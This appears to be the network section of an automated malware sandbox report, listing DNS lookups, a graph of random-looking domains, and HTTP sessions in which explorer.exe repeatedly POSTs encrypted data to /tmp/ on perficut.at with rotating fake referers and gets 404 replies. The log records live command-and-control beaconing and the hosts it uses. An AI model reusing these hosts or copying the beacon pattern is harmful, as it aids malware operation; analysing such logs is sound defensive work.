Feb 16, 2023 13:58:33.918834925 CET	8.8.8.8	192.168.2.3	0x5178	No error (0)	www.findbc.com		76.223.65.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.013854027 CET	8.8.8.8	192.168.2.3	0x37ec	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.079994917 CET	8.8.8.8	192.168.2.3	0x3fe7	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.232337952 CET	8.8.8.8	192.168.2.3	0xf55	No error (0)	www.dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.232337952 CET	8.8.8.8	192.168.2.3	0xf55	No error (0)	www.dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.270256996 CET	8.8.8.8	192.168.2.3	0x578a	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.387809992 CET	8.8.8.8	192.168.2.3	0xabc9	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:34.387809992 CET	8.8.8.8	192.168.2.3	0xabc9	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:34.387809992 CET	8.8.8.8	192.168.2.3	0xabc9	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.515955925 CET	8.8.8.8	192.168.2.3	0xe043	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.535144091 CET	8.8.8.8	192.168.2.3	0xb33a	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:34.535144091 CET	8.8.8.8	192.168.2.3	0xb33a	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:34.535144091 CET	8.8.8.8	192.168.2.3	0xb33a	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.39	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.535144091 CET	8.8.8.8	192.168.2.3	0xb33a	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.72	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.535144091 CET	8.8.8.8	192.168.2.3	0xb33a	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.92	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.535144091 CET	8.8.8.8	192.168.2.3	0xb33a	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.93	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.600670099 CET	8.8.8.8	192.168.2.3	0x7b7	No error (0)	www.stajum.com		103.3.1.161	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.603728056 CET	8.8.8.8	192.168.2.3	0x6096	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:34.603728056 CET	8.8.8.8	192.168.2.3	0x6096	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.623455048 CET	8.8.8.8	192.168.2.3	0xfcba	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.703191996 CET	8.8.8.8	192.168.2.3	0x739d	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:34.767592907 CET	8.8.8.8	192.168.2.3	0x3e9	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.479916096 CET	8.8.8.8	192.168.2.3	0x771e	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:35.479916096 CET	8.8.8.8	192.168.2.3	0x771e	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:35.479916096 CET	8.8.8.8	192.168.2.3	0x771e	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:35.479916096 CET	8.8.8.8	192.168.2.3	0x771e	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:35.479916096 CET	8.8.8.8	192.168.2.3	0x771e	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.3.56	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.542016983 CET	8.8.8.8	192.168.2.3	0xf7cc	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:35.542016983 CET	8.8.8.8	192.168.2.3	0xf7cc	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.668364048 CET	8.8.8.8	192.168.2.3	0x45cf	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:35.668364048 CET	8.8.8.8	192.168.2.3	0x45cf	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.760659933 CET	8.8.8.8	192.168.2.3	0x543e	No error (0)	www.myropcb.com		74.208.215.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:35.916496038 CET	8.8.8.8	192.168.2.3	0x1870	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 13:58:35.916496038 CET	8.8.8.8	192.168.2.3	0x1870	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:36.341630936 CET	8.8.8.8	192.168.2.3	0xbb0f	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:36.504200935 CET	8.8.8.8	192.168.2.3	0x4e3f	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:36.538711071 CET	8.8.8.8	192.168.2.3	0x2d48	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:36.845784903 CET	8.8.8.8	192.168.2.3	0x98f1	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:37.164722919 CET	8.8.8.8	192.168.2.3	0xc194	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

beg.com.ve

extrltwd.com

perficut.at

rlxoar.com

nqowrenk.net

23.106.124.133

biqlae.com

cidgpb.org

amjugskah.com

uiyywtsd.com

dbxnnkev.net

obrfkgtio.com

rafofnhysi.org

pmcji.com

nxwnyrf.org

wvawrly.com

heyskpnfpp.org

qcbqlwpayk.net

dciawds.net

lcwlg.net

mkhxjx.com

swrtekc.org

dspqjvfs.com

rkgmxijupo.com

fowipo.org

tktfxfv.com

cxtkcijc.org

waysck.net

rryrnc.com

sxbexvemhb.com

ymquehcf.org

h167471.srv11.test-hf.su

wexskr.net

huborjamyv.net

hnxmyktp.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49693	190.114.9.88	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49684	2.180.10.7	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:12.048829079 CET	103	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://extrltwd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 342 Host: perficut.at
Feb 16, 2023 13:57:12.048944950 CET	103	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 72 00 b7 91 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA .[k,vur~Ghk0wXWz5`wNoL0!aMZAL\)1q@92tJSevi"4^%)wYkX7{6k.
Feb 16, 2023 13:57:15.551765919 CET	104	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 86 eb Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49694	2.180.10.7	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:38.348664999 CET	4802	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://obrfkgtio.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 302 Host: perficut.at
Feb 16, 2023 13:57:38.348728895 CET	4803	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 0f 6b 2c 90 f4 76 0b 75 73 2f eb ad Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA ,[k,vus/{Wilv#I(Qp^oOGA1XV(Na\K.l+cOU\|\p#D(o@lu2/+hXJ(R"
Feb 16, 2023 13:57:41.863096952 CET	4803	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49695	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:43.547597885 CET	4805	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rafofnhysi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 259 Host: perficut.at
Feb 16, 2023 13:57:43.547641039 CET	4805	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 3d 4e d4 93 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu=NVyWf(o'Nmxp5"}#B;w{WLx/Ub&Z#A6:&1%MCF4hK<Vsl:
Feb 16, 2023 13:57:44.491425037 CET	4806	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49696	203.91.116.53	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:45.298062086 CET	4807	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pmcji.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 148 Host: perficut.at
Feb 16, 2023 13:57:45.298139095 CET	4807	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 28 1b df a0 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu(hRZ=bUJfdsl?B)_R_gKch
Feb 16, 2023 13:57:46.107988119 CET	4807	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49697	203.91.116.53	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:46.293960094 CET	4808	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nxwnyrf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 233 Host: perficut.at
Feb 16, 2023 13:57:46.294025898 CET	4809	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 7a 0b b8 b6 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuz^USHP1!W7+qd%{C7~]s,:_(.ZG$Fhcn,t Y%[</u:smMn<}4/
Feb 16, 2023 13:57:47.103210926 CET	4809	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49698	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:47.457200050 CET	4810	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wvawrly.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 365 Host: perficut.at
Feb 16, 2023 13:57:47.457262039 CET	4811	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 54 2e d5 ee Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuT.^fY]:=u8*=bGK&$O>OEZZfd ,] sS-Q_cp#imQF\\vC=_(0
Feb 16, 2023 13:57:48.164640903 CET	4811	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wvawrly.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 365 Host: perficut.at Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 54 2e d5 ee 5e 0c c2 bd ac 66 59 db b3 d4 e3 f9 17 5d b4 86 a0 d5 c5 3a d5 89 e3 3d ae 03 02 75 0f 01 38 9b 02 fd 2a 3d 9a a1 cb dd f3 df 62 47 dc ae e6 4b c0 26 b3 24 fd 4f ce 3e 4f 45 e3 5a 5a c9 66 64 20 2c d7 5d c3 94 b0 c9 ff ed e1 92 99 0f 9d c9 d5 20 73 ed 53 2d ba cf 51 da 0a 5f 63 88 ca d7 ad b6 c0 a8 9a 8e c5 08 0e f0 98 c7 70 c6 be bd 23 c2 0f ae e5 de d5 9f c1 d1 9d 1d 69 84 81 e4 11 0c d7 9b eb 6d 51 84 d1 46 c6 5c 5c 19 95 76 c6 ba c2 14 c3 8f 01 43 3d 83 5f 28 fa dc 30 c8 0d 12 e4 c7 90 ed cf 23 f3 b2 e6 68 e0 58 c0 1c 71 ac f6 83 1c b8 45 6e a2 00 3f 14 92 69 28 fc c1 ba 30 d3 13 ba 2d f8 ed 2c 84 31 25 04 44 24 f0 e3 5b 66 a8 99 0b 95 d7 29 39 17 a9 b3 ad 02 1c 42 49 25 db f2 d5 2b b1 ae f8 f9 d4 4c 22 2a f3 08 b8 bc 80 20 dd 1f f2 00 13 c8 b0 92 26 4c 56 3e 2a 70 18 51 57 fc 0f 19 ca 9a ae 4e 23 0b c2 d9 da 91 6b d6 41 28 87 17 69 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuT.^fY]:=u8=bGK&$O>OEZZfd ,] sS-Q_cp#imQF\\vC=_(0#hXqEn?i(0-,1%D$[f)9BI%+L" &LV>*pQWN#kA(i
Feb 16, 2023 13:57:49.109102964 CET	4812	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49699	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:49.476929903 CET	4813	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://heyskpnfpp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 288 Host: perficut.at
